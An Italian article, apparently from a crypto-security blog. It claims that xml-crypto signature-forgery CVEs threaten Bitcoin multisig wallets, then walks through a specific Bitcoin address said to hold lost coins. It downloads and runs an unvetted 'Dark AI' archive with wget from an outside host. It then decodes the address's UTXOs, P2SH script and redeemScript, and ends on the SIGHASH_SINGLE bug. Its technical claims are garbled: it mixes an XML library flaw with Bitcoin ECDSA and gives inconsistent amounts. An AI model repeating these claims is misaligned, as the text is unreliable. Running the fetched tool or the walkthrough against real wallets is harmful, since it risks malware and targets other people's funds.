
Come le vulnerabilità CVE-2025-29774 e il bug SIGHASH_SINGLE minacciano i metodi operativi dei portafogli multi-firma con RawTX falsi
In questo articolo esamineremo l'attacco crittografico di falsificazione della firma digitale (Digital Signature Forgery Attack), le cui conseguenze rappresentano una minaccia per la sicurezza delle transazioni nella rete Bitcoin, poiché le firme digitali confermano la proprietà e l'autorizzazione dei trasferimenti di criptovaluta. Prenderemo in esame esempi dell'impatto di tali attacchi su Bitcoin sulla base di ricerche moderne e vulnerabilità identificate.
Un attacco di falsificazione della firma digitale (Digital Signature Forgery Attack) è il tentativo di un attaccante di creare una firma digitale ECDSA falsa che verrà riconosciuta come valida dalla rete Bitcoin. Questo attacco consente di autorizzare transazioni senza conoscere la chiave privata del proprietario, mettendo a rischio la sicurezza dei fondi nel portafoglio crittografico del detentore di monete BTC.
In crittografia, una firma digitale fornisce la conferma dell'autenticità di un messaggio o di una transazione. La falsificazione di una firma significa che è possibile creare una coppia “RawTX” che verrà accettata dal sistema come valida, anche se in realtà non è stata creata dal proprietario della chiave privata. Questo apre la strada a frodi, furto di fondi e violazione dell'integrità della blockchain. L'attacco di falsificazione della firma digitale (Digital Signature Forgery Attack, DSFA) come attacco crittografico è implementato in componenti software che utilizzano la libreria xml-crypto per verificare le firme di documenti XML sulla piattaforma Node.js.
Innanzitutto, questo riguarda le soluzioni di integrazione aziendale, i servizi cloud e i sistemi di single sign-on, come IBM App Connect Enterprise Certified Container e altre applicazioni che dipendono da xml-crypto per l'autenticazione e l'autorizzazione SAML. Le vulnerabilità hardware non sono associate a specifici dispositivi fisici, ma sono implementate in prodotti software che utilizzano la libreria vulnerabile.
Le vulnerabilità CVE-2025-29774 e CVE-2025-29775, note come Digital Signature Forgery Attack, sono implementate nella libreria software xml-crypto , una libreria per la firma digitale e la crittografia di documenti XML sulla piattaforma Node.js.
Bollettino di sicurezza: gli operands di IBM App Connect Enterprise Certified Container sono vulnerabili al bypass della convalida delle firme nei dati XML [CVE-2025-29774] [CVE-2025-29775]
Divulgazione per CVE-2025-29774 e CVE-2025-29775 (SAMLStorm).
Pertanto, questo codice implementa algoritmi di firma crittografica e di verifica delle firme per vari schemi (RSA con diversi hash SHA e HMAC-SHA1), consentendo la loro integrazione in sistemi che richiedono la firma digitale dei dati.
Il file signature-algorithms.ts viene utilizzato per creare e verificare in modo sicuro le firme digitali, garantendo autenticità e integrità dei dati. Le firme ECDSA forniscono la verifica della paternità tramite una chiave privata, mentre HMAC garantisce l'integrità e l'autenticità tramite una chiave segreta. Gli algoritmi utilizzati sono conformi agli standard XML Digital Signature (gli URI degli algoritmi fanno riferimento alle specifiche W3C).
Pertanto, il codice di signature-algorithms.ts implementa algoritmi di firma crittografica e di verifica delle firme per vari schemi (ECDSA, RSA con diversi hash SHA e HMAC-SHA1), consentendo la loro integrazione in sistemi che richiedono la firma digitale dei dati.
SignatureAlgorithm e fornisce metodi per:
getSignature): riceve i dati della firma e una chiave privata, restituisce una firma digitale in formato base64.verifySignature): riceve in input i dati, la chiave pubblica e la firma, restituisce un valore booleano che indica se la firma è corretta.getAlgorithmName): restituisce un URI che identifica l'algoritmo di firma utilizzato.crypto.createSign e crypto.createVerify con i corrispondenti algoritmi ("RSA-SHA1", "RSA-SHA256", "RSA-SHA512").crypto.createHmac con l'algoritmo "SHA1".createOptionalCallbackFunction, che probabilmente ne consente l'uso sia con callback che con promise (i dettagli non sono presenti nel codice).L'uso dell'algoritmo RSA-SHA1 nelle firme crittografiche contiene una vulnerabilità legata alle collisioni dell'hash SHA-1. Ciò consente a un attaccante di creare due messaggi diversi con la stessa firma se controlla parte dei dati firmati.
Nello specifico, il problema è nella classe RsaSha1:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line
signature-algorithms.ts#L7
Anche la seconda vulnerabilità è nella classe RsaSha1:
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line
signature-algorithms.ts#L17
HmacSha1 (HMAC-SHA1) è meno vulnerabile, ma anch'essa obsoleta. HMAC è più resistente alle collisioni dello SHA-1 "nudo", ma è preferibile passare a SHA-256.
CVE-2025-29774 e CVE-2025-29775 sono vulnerabilità critiche nella libreria xml-crypto per Node.js legate a una verifica impropria delle firme digitali nei documenti XML. Entrambe le vulnerabilità consentono a un attaccante di modificare i messaggi XML firmati in un modo che passa inosservato alla verifica della firma.
Nel codice fornito, le classi RsaSha1 utilizzano il legacy algoritmo RSA-SHA1 per la firma e la verifica:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line №7
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line №17SHA1 è considerato crittograficamente insicuro; il problema principale risiede nella logica di elaborazione delle strutture XML della libreria :
<SignedInfo> al documento XML , causando un calcolo hash errato durante la verifica.<Signature> <SignedInfo>...</SignedInfo> <!-- Original knot --> <SignedInfo>...</SignedInfo> <!-- Added by an attacker --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo>.Affrontare queste vulnerabilità è fondamentale per i sistemi che utilizzano firme XML per l'autenticazione (ad es. SAML, SOAP).
La libreria xml-crypto è ampiamente utilizzata per verificare le firme digitali nei messaggi XML, inclusi protocolli come SAML, SOAP e altri. Ne consegue che la vulnerabilità potenzialmente riguarda:
Per valutare il rischio su dispositivi specifici, si consiglia di verificare se utilizzano versioni vulnerabili di xml-crypto o se dipendono da meccanismi di firma XML simili. Per lavorare con portafogli di criptovaluta basati su Node.js, IBM offre soluzioni separate, come IBM Secure Bitcoin Wallet , un'applicazione basata su Electrum Bitcoin Client che utilizza Node.js per interagire con la rete Bitcoin e gestire il portafoglio.
In questa soluzione, le chiavi private e il portafoglio possono essere memorizzati e crittografati utilizzando IBM Cloud Hyper Protect Crypto Services (zHSM), che fornisce un archivio sicuro delle chiavi basato su hardware. La generazione delle chiavi private per i portafogli Bitcoin è solitamente implementata in librerie crittografiche specializzate come Electrum, bitcoinjs-lib, ecc., che possono essere integrate nelle applicazioni Node.js. IBM Secure Bitcoin Wallet utilizza un backend Electrum modificato su Node.js per la gestione di chiavi e transazioni, tramite l'integrazione con IBM Cloud Hyper Protect Crypto Services, che fornisce crittografia hardware e archiviazione sicura delle chiavi private.
Dalla teoria della vulnerabilità CVE-2025-29775 è noto che un attaccante può elaborare una libreria xml-crypto non aggiornata per valori di transazione errati. Passiamo alla parte pratica dell'articolo e consideriamo un esempio utilizzando un portafoglio Bitcoin: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , dove c'erano monete perse per un importo di: 0.059672 BTC a luglio 2025 questo importo è: 7, 052 USD
Consideriamo il formato: Raw transaction dati binari ed esadecimali che contengono tutte le informazioni su la transazione . È necessario per trasmettere, verificare o creare transazioni a basso livello ed è la base per il funzionamento dell'intera rete Bitcoin. Gli utenti normali raramente incontrano Raw transactions direttamente, ma per sviluppatori e appassionati di criptovalute, questo è lo strumento principale per il controllo completo di tutte le transazioni della rete Bitcoin.
Raw Transaction
Per restituire completamente gli oggetti UTXO nella rete Bitcoin, utilizzeremo lo strumento Dark AI . L'UTXO è la parte principale della struttura dati nella blockchain e rappresenta l'importo di monete BTC della criptovaluta che può essere speso dal detentore della chiave privata (che controlla questo indirizzo Bitcoin). Ogni UTXO è l'output di una specifica transazione passata, che non è mai stato utilizzato come input in transazioni successive.
https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW
Comandi:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— un'utilità da riga di comando per scaricare file dalla rete tramite i protocolli HTTP, HTTPS e FTP.neuralnet_tools.zipunzip— comando per estrarre archivi ZIP nella directory corrente.Questo comando estrae tutti i file da neuralnet_tools.zip
!unzip neuralnet_tools.zip
Eseguiamo il comando ls per una visualizzazione rapida e semplice
ls
!./darkai
Eseguiamo il comando per ottenere informazioni sui cosiddetti output di transazione non spesi ( UTXO , decodifica: Unspent Transaction Output ) per l'indirizzo Bitcoin specificato. Questa informazione è importante per valutare il saldo dell'indirizzo e la possibilità di effettuare nuove transazioni.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]Ogni UTXO contiene:
<txid>:<n>, dove <txid> è un hash di transazione univoco e <n> è il numero di output nell'elenco degli output per questa transazione.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0Il saldo totale disponibile di un indirizzo è uguale alla somma di tutti gli UTXO trovati:

Utilizziamo il processo di interpretazione per elaborare la libreria xml-crypto non aggiornata per creare valori di transazione non validi e inviare una grande quantità; l'algoritmo Dark AI sceglierà quale UTXO utilizzare (o combinarli entrambi).
L'indirizzo Bitcoin 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe ha due UTXO attivi per un totale di 0.05677200 BTC . Questi fondi possono essere utilizzati per effettuare nuove transazioni; entrambi gli output sono considerati confermati e non spesi.
Per ottenere frammenti di informazioni sull’output di una transazione Bitcoin, utilizzare i seguenti comandi, dove il primo output (
outs) della transazione ha un identificatore univoco8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — uno script che definisce le condizioni per spendere questo output.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87, che corrisponde al formato P2SH (Pay to Script Hash) :
a9— OP_HASH160 (operatore di hash)14— lunghezza del valore successivo (20 byte = 40 caratteri esadecimali)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 degli indirizzi dei portafogli Bitcoin in cui sono conservate le monete BTC.87— OP_EQUAL (un operatore di comando base di Bitcoin Script che implementa il confronto tra due dati per verificarne l’identità)A seguito della deserializzazione della transazione tramite identificatore,
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdè stato ottenuto il primo output, contenente l’importo di 677.200 satoshi (0,00677200 BTC), protetto da uno script P2SH . Per gestire questi fondi, sarà necessario presentare lo script destinatario e firmare correttamente la transazione di sblocco che soddisfa le condizioni dell’hash specificato.
Per ottenere frammenti di informazioni sull’output dei dati originali (
output) di una transazione Bitcoin, applicare i seguenti comandi, dove il primo output (outs) della transazione con un identificatore univocobd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786Utilizzando il processo di interpretazione, con l’aiuto di Dark AI e della funzione di deserializzazione, otteniamo quindi informazioni sulla struttura del primo elemento di output ( output) per la seconda transazione con identificatorebd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Risultato:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'. Può essere speso solo se vengono soddisfatte le condizioni scritte nello script definito nel campo 'script'.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'Il valore specificato corrisponde al tipo di script standard nella rete Bitcoin:
a9— codice operativo OP_HASH160 (produce RIPEMD-160 da SHA-256 della riga successiva).14— lunghezza del campo successivo: 20 byte (40 caratteri esadecimali).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— è un hash di 20 byte che identifica un indirizzo di portafoglio Bitcoin o uno script.87— codice operativo OP_EQUAL.Nel complesso, questa voce indica un indirizzo P2SH (Pay-to-Script-Hash). In questo caso, i fondi sono assegnati a una determinata combinazione di script e, per prelevarli, sarà necessario rivelare lo script di cui è registrato l’hash qui e presentare le firme (o altri dati) che soddisfano le condizioni di questo script.
Gli usi più comuni di questo schema sono per multi-firme, smart contract semplici e complessi, multi-firme bilaterali, schemi di sicurezza condizionali e altri scenari avanzati.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Pertanto, il risultato della deserializzazione segnala la presenza di una certa quantità di bitcoin a un indirizzo condizionale (P2SH) e definisce regole rigorose per la loro spesa, il che svolge un ruolo chiave nella gestione e nella contabilità dei fondi nella rete Bitcoin.
Lo script 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'è stato scelto e utilizzato in questo output di transazione perché rappresenta un tipico script di blocco P2SH (Pay-to-Script-Hash) nella rete Bitcoin.
Esaminiamolo pezzo per pezzo:
a9— OP_HASH160: un’operazione di hash che applica prima SHA-256 e poi RIPEMD-160 ai dati successivi.14— la lunghezza dell’hash è di 20 byte (in formato esadecimale).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— un hash di 20 byte dello script, noto come script hash .87— OP_EQUAL: un operatore che verifica l’uguaglianza di due valori nello stack.Pertanto, questo script richiede che al momento dell’utilizzo (spesa di fondi) venga presentato uno script il cui hash corrisponda a 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, e che le condizioni di questo script siano soddisfatte.
Lo script
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'è uno script di blocco P2SH, il che significa che per spendere 0,05 BTC è necessario fornire lo script originale con hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762e soddisfare le condizioni in esso specificate. Questo garantisce un equilibrio tra comodità, sicurezza e funzionalità – la ragione principale per cui questo particolare script è stato scelto in questa transazione. L’hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762nello script P2SH è il risultato di un hashing specifico dello script originale (redeem script) , che determina le condizioni per spendere i fondi da questo output.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Questo hash identifica in modo univoco lo scenario esatto per cui è stato generato.SHA-256 + RIPEMD-160)dallo script redeem originale, quindi non è possibile scegliere in modo casuale o arbitrario un hash diverso.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287Pertanto, la scelta di questo particolare hash è dettata dalla necessità di un collegamento accurato e sicuro dell’output con specifiche condizioni di spesa che controllano l’accesso ai fondi nella blockchain. Tutto ciò è garantito dalle proprietà delle funzioni crittografiche di hash, dalla loro unicità e dall’impossibilità di recuperare inversamente i dati originali.
Gli sviluppatori di Bitcoin hanno integrato nel codice il meccanismo P2SH (Pay-to-Script-Hash) come innovazione chiave che garantisce sicurezza ed espande le capacità della rete blockchain. Consideriamo la struttura e il principio di funzionamento di questo script, la sua differenza rispetto alle transazioni classiche, nonché le ragioni della scelta di questo approccio per archiviare e proteggere gli asset digitali.
Tradizionalmente, le transazioni Bitcoin hanno funzionato utilizzando lo schema Pay-to-Pubkey-Hash (P2PKH) – in cui i fondi vengono “bloccati” utilizzando l'hash della chiave pubblica del destinatario. Per spendere questi fondi, l'utente deve fornire la propria firma digitale e la chiave pubblica, che vengono verificate dalla rete.
Tuttavia, al di là di P2PKH, l'interfaccia era limitata, poiché Bitcoin Script consente condizioni di spesa molto più complesse, dalle multi-firme ai time lock e ad altri accordi di smart contract. Il problema era che script lunghi e complessi aumentavano inevitabilmente la dimensione delle transazioni e ne riducevano l'usabilità.
È stato per semplificare l'interazione con scenari così complessi che il concetto P2SH è stato introdotto nel 2012 , standardizzato nel BIP 16 da Gavin Andresen. L'essenza di P2SH consiste nel sostituire lo script completo delle condizioni di spesa in scriptPubKey con il suo hash crittografico – il cosiddetto script hash.

Esaminiamo lo script specificato come risultato della deserializzazione:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALQuesto script differisce dallo standard P2PKH in quanto, invece di un hash di chiave pubblica, memorizza un hash di un redeemScript – un insieme di condizioni alle quali i fondi possono essere spesi.
Per spendere tali fondi, è necessario trasmettere negli input (scriptSig) della transazione che fanno riferimento a questo output:
Durante l'elaborazione di una transazione, i nodi della rete:
P2SH sposta quindi la responsabilità di presentare e verificare le condizioni della spesa dal mittente (che crea lo script richiesto) a chi spende.
P2SH consente di creare indirizzi con condizioni arbitrarie, spesso multilivello – ad esempio, un requisito di multi-firma (2 su 3, 3 su 5, ecc.), limiti di tempo, logica di distribuzione e molto altro. In questo caso, il mittente invia semplicemente i fondi a un indirizzo hash compatto, senza entrare nei dettagli tecnici.
Invece di memorizzare lo script completo nella blockchain, nella transazione viene memorizzato solo il suo hash. Questo riduce il carico sulla rete, riduce la dimensione dei blocchi e accelera la verifica delle transazioni.
Poiché il redeemScript viene rivelato e verificato solo al momento della spesa, aumenta la riservatezza delle condizioni e rende più difficili i tentativi di accesso non autorizzato. L'uso di funzioni hash crittografiche garantisce protezione contro la falsificazione e la modifica – qualsiasi minima deviazione nello script comporterà un hash diverso e la rete rifiuterà di accettare la transazione.
P2SH standardizza e semplifica l'uso di smart contract complessi in Bitcoin, semplificando l'integrazione e aumentando la compatibilità con una varietà di wallet e servizi.
Un esempio classico è un wallet che richiede le firme di due partecipanti su cinque per completare una transazione. Con P2SH:
Questo rende P2SH ideale per conti aziendali, joint venture e altre situazioni in cui è richiesto il controllo degli accessi. Il meccanismo Pay-to-Script-Hash (P2SH) è una parte fondamentale dell'architettura di Bitcoin, che fornisce un equilibrio tra:

ins)Eseguiamo un comando per ottenere informazioni su uno degli input di una transazione con hash 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. L'analisi di tale input è importante per comprendere il meccanismo di autorizzazione della spesa dei fondi a livello di script.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132Il risultato dell'estrazione del primo input della transazione (
ins) è presentato come segue:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)script è lo scriptSig, che viene utilizzato per sbloccare il corrispondente output della transazione precedente.00, che nel contesto di scriptSig può significare OP_0, tradizionalmente usato negli scenari multi-firma (ad esempio nel caso dello standard multi-firma Pay-to-Script-Hash, dove è necessario uno stub).3045...), che tipicamente consistono in una serie di byte contenenti i dettagli della firma.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— è l'hash della transazione precedente.'index': 1– indica il secondo output (numerato da zero), che viene utilizzato per lo sblocco.sequence)4294967295 (0xFFFFFFFF) è un numero massimo a 32 bit.La criptanalisi dell'estrazione del primo input della transazione (
ins) con l'hash di transazione fornito ha mostrato che:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.Pertanto, i dati ottenuti consentono una comprensione più approfondita della meccanica di verifica dei diritti di spesa dei fondi, vengono utilizzati per garantire la sicurezza della rete Bitcoin, nonché nello sviluppo e nell'audit di smart contract basati su script Bitcoin.
outs)Eseguiamo il comando per ottenere informazioni su uno degli output della transazione con identificatore
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outsNello specifico, è stato estratto il secondo output ( ) di questa transazione, l'elemento con indice 1.
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 è un classico script di blocco (scriptPubKey) del formato P2SH (Pay-to-Script-Hash).a9— OP_HASH160 è un operatore che applica prima SHA-256 e poi RIPEMD-160 ai dati di input.14— la lunghezza (20 byte) del valore successivo è la dimensione dell'hash.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash di 20 byte, noto anche come script hash , è una rappresentazione univoca del redeem script che controlla la spesa di questi fondi.87— OP_EQUAL è un operatore che confronta due valori e restituisce true se sono uguali.Pertanto, lo script richiede che, per sbloccare (spendere i fondi), l'utente presenti un redeem script il cui hash corrisponda a questo valore.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 è associato a un output che contiene 0.0035 BTC.06612b7cb2027e80ec340f9e02ffe4a9a59ba762.
Le informazioni ricevute confermano che il secondo record di output della transazione
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577memorizza l'importo di 0.0035 BTC, controllato da uno script P2SH standard con un valore hash16006612b7cb2027e80ec340f9e02ffe4a9a59ba762. Per gestire questi fondi, è necessario presentare il corrispondente redeem script, che fornisce un elevato livello di sicurezza e flessibilità nella gestione dei bitcoin.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeEseguiamo il comando per ottenere HASH160. Gli sviluppatori di Bitcoin hanno stabilito uno standard per un hash di 20 byte (hex) ampiamente utilizzato senza modifiche in altre popolari criptovalute come Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) per indicare l'identificatore abbreviato di script e chiavi pubbliche.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeProcesso di elaborazione:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Questo hash di 20 byte (hex) è chiamato HASH160 ed è ampiamente utilizzato in Bitcoin per indicare un identificatore abbreviato per script e chiavi pubbliche.
Un passaggio fondamentale nell'elaborazione degli script Bitcoin utilizzando funzioni di hash crittografiche.
La conversione di script serializzati o chiavi pubbliche in HASH160 consente un'identificazione, un'indicizzazione e una protezione efficiente dei dati sulla blockchain Bitcoin.
Hash ricevuto:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}Il team ha prodotto l'hash esatto che funge da collegamento tra script complessi e il formato compatto utilizzato per memorizzare e verificare le transazioni sulla rete Bitcoin.
Satoshi Nakamoto ha scelto di utilizzare il doppio hashing SHA-256 (cioè applicare SHA-256 due volte di seguito) negli algoritmi di hashing di Bitcoin per diverse importanti ragioni che migliorano la robustezza crittografica e la sicurezza della rete.
L'uso doppio di
SHA-256è una scelta deliberata di Satoshi Nakamoto per fornire un ulteriore livello di sicurezza e una robusta forza crittografica all'intero sistema Bitcoin. Questo design minimizza i rischi di collisione, migliora l'unidirezionalità e protegge in modo sicuro i dati sulla rete blockchain, creando solide fondamenta per la sicurezza delle transazioni e il consenso nel sistema. Pertanto, il doppio SHA-256 è un elemento chiave dell'architettura Bitcoin, che combina tecniche crittografiche avanzate con un sistema distribuito.

La sicurezza e la flessibilità delle transazioni Bitcoin moderne si basano su un sistema di scripting che consente condizioni complesse per la spesa dei fondi. Uno dei meccanismi chiave è la multifirma (multisig) , quando i fondi possono essere spesi solo se sono presenti diverse firme digitali valide da un insieme di quelle possibili. In questo articolo esamineremo in dettaglio come esattamente questo viene implementato in Bitcoin, cosa è redeemScript, come l'istruzione OP_CHECKMULTISIG funziona , e perché un tale approccio è richiesto.
Nel contesto di Bitcoin, un redeemScript è uno script contenente le condizioni per la spesa dei fondi, memorizzate nell'output della transazione in formato Pay-to-Script-Hash (P2SH). Invece di memorizzare l'intero script sulla blockchain, l'hash del redeemScript viene memorizzato nell'output, risparmiando spazio e nascondendo i dettagli delle condizioni fino al momento della spesa.
RedeemScript può includere, ad esempio, più chiavi pubbliche e un numero soglia di firme – questo è ciò che implementano i portafogli multi-firma.
Consideriamo l'istruzione OP_CHECKMULTISIG: scopo e funzionamento, dove l'elemento principale in redeemScript che implementa il controllo multi-firma è OP_CHECKMULTISIG .
A causa di un bug storico nell'implementazione di OP_CHECKMULTISIG , durante l'esecuzione viene rimosso dallo stack un elemento extra, un valore non utilizzato. Per evitare questo problema, scriptSig utilizza un elemento speciale
OP_FALSE(valore 0) all'inizio, che compensa questo bug e previene potenziali vulnerabilità.
OP_FALSE <signature1> <signature2> ... <redeemScript>OP_FALSESulla base del codice redeemScript:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIG verifica che le due firme fornite (in scriptSig) corrispondano a due delle tre chiavi e siano valide.OP_FALSE in scriptSig compensa il bug della rimozione del valore extra.OP_FALSE, il meccanismo ha dimostrato la sua affidabilità e ha trovato ampia applicazione.RedeemScript con l'istruzione OP_CHECKMULTISIG è uno strumento complesso e potente nell'arsenale di Bitcoin che consente di creare wallet multi-firma con una soglia di firme, offrendo un elevato livello di sicurezza e controllo sui fondi. Questo meccanismo è diventato una pietra miliare per organizzazioni, utenti e servizi che desiderano utilizzare la gestione condivisa dei propri asset in un ambiente decentralizzato e sicuro. Pertanto, la multi-firma tramite redeemScript e OP_CHECKMULTISIG non è solo una tecnologia, ma una funzionalità che amplia le capacità del classico modello di criptovaluta.

Il meccanismo di verifica multi-firma di Bitcoin si basa sull'uso di script speciali con le istruzioni OP_CHECKMULTISIG e redeemScript , che consente di abbinare le firme in base a una soglia, offrendo maggiore sicurezza e gestione condivisa dei fondi.
Multisig è un sistema in cui per completare una transazione sono richieste più firme valide da un determinato insieme di chiavi pubbliche. Uno schema tipico è indicato come m di n — ad esempio, "2 di 3", dove sono necessarie due firme qualsiasi su tre chiavi per autorizzare una spesa.
In Bitcoin, questa logica è implementata tramite:
L'istruzione
OP_CHECKMULTISIGverifica che le firme fornite inscriptSigsiano valide e corrispondano alle chiavi pubbliche pubblicate da redeemScript.
RedeemScript è strutturato più o meno così:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M e OP_N — istruzioni che specificano rispettivamente il numero di firme richieste e il numero totale di chiavi pubbliche (ad esempio, OP_2 e OP_3).<pubkeyX> — le chiavi pubbliche dei partecipanti.OP_CHECKMULTISIG — un operatore che implementa la verifica multi-firma.m.Una caratteristica tecnica importante è un bug storico di implementazione
OP_CHECKMULTISIGche causa la rimozione di un elemento extra non utilizzato dallo stack. Per compensare questo bug, inscriptSigviene posto un valoreOP_FALSE(codice 0) all'inizio per "bloccare" lo spostamento dello stack.
Per un wallet con multi-firma "2 di 3", prima di spendere fondi, si forma scriptSig come segue:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE — un valore fittizio per compensare il bug di OP_CHECKMULTISIG.<signature1> e <signature2> – due firme digitali autorizzate dai proprietari delle rispettive chiavi private.<redeemScript> — lo script stesso con chiavi pubbliche e parametri di verifica.Quando un nodo verifica una transazione:
Se tutti gli input di una transazione superano questo controllo, la transazione è considerata valida. Con tale validità, eseguendo l'operatore di questo bug, l'attaccante compensa OP_CHECKMULTISIG come potenziale vulnerabilità.
Il meccanismo di verifica multi-firma di Bitcoin tramite il comando
OP_CHECKMULTISIGe redeemScript consente di impostare complessi schemi di firma a soglia e, eseguendo questo operatore di bug, un attaccante compensa OP_CHECKMULTISIG come potenziale vulnerabilità nelle transazioni controllate nella rete distribuita di Bitcoin.
Quali sono le caratteristiche e i limiti quando OP_CHECKMULTISIG verifica più firme? Analizziamo gli aspetti e i limiti principali:
OP_FALSE, per allineare correttamente lo stack. Questa è una caratteristica riconosciuta e accettata dalla community.
Bitcoin utilizza le firme digitali per autorizzare le transazioni, consentendo ai proprietari dei fondi di confermare il loro diritto di disporne. La particolarità è che le firme possono limitare il loro ambito di azione non all'intera transazione, ma solo a una parte di essa. Questo viene implementato utilizzando flag speciali – SIGHASH , che determinano quali dati della transazione ricadono esattamente sotto la firma. Consideriamo i tipi di hash delle firme, il loro scopo, esempi di utilizzo e anche le caratteristiche che emergono in situazioni non standard.
Quando si firma una transazione Bitcoin, viene creata una firma digitale che viene formata su un frammento specifico dei dati della transazione. È proprio attraverso il flag SIGHASH che si indica quale parte di questi dati deve coprire questa firma. Il tipo di hash della firma viene trasmesso dall'ultimo byte della firma stessa e determina l'area inclusa nell'hash, e quindi nella sezione firmata. Ciò consente di formare in modo flessibile le condizioni relative a quali azioni specifiche sulla transazione vengono approvate dal firmatario.
Questo è il tipo di firma predefinito nella maggior parte dei wallet e dei client. La firma copre tutti gli input e tutti gli output della transazione , il che significa:
Con questo tipo di firma, tutti gli input sono firmati, ma nessuno degli output è firmato :
Questo tipo di firma firma tutti gli input, ma solo un output – con lo stesso numero di sequenza dell'input :
Consideriamo una transazione con tre input, dai cui script di firma (scriptSig) sono state estratte firme che terminano con un byte
0x03indicante SIGHASH_SINGLE — cioè firme che firmano solo la coppia di input e output corrispondenti. Tuttavia, qui osserviamo una situazione: l'input con indice 2 non ha un output corrispondente con lo stesso indice.

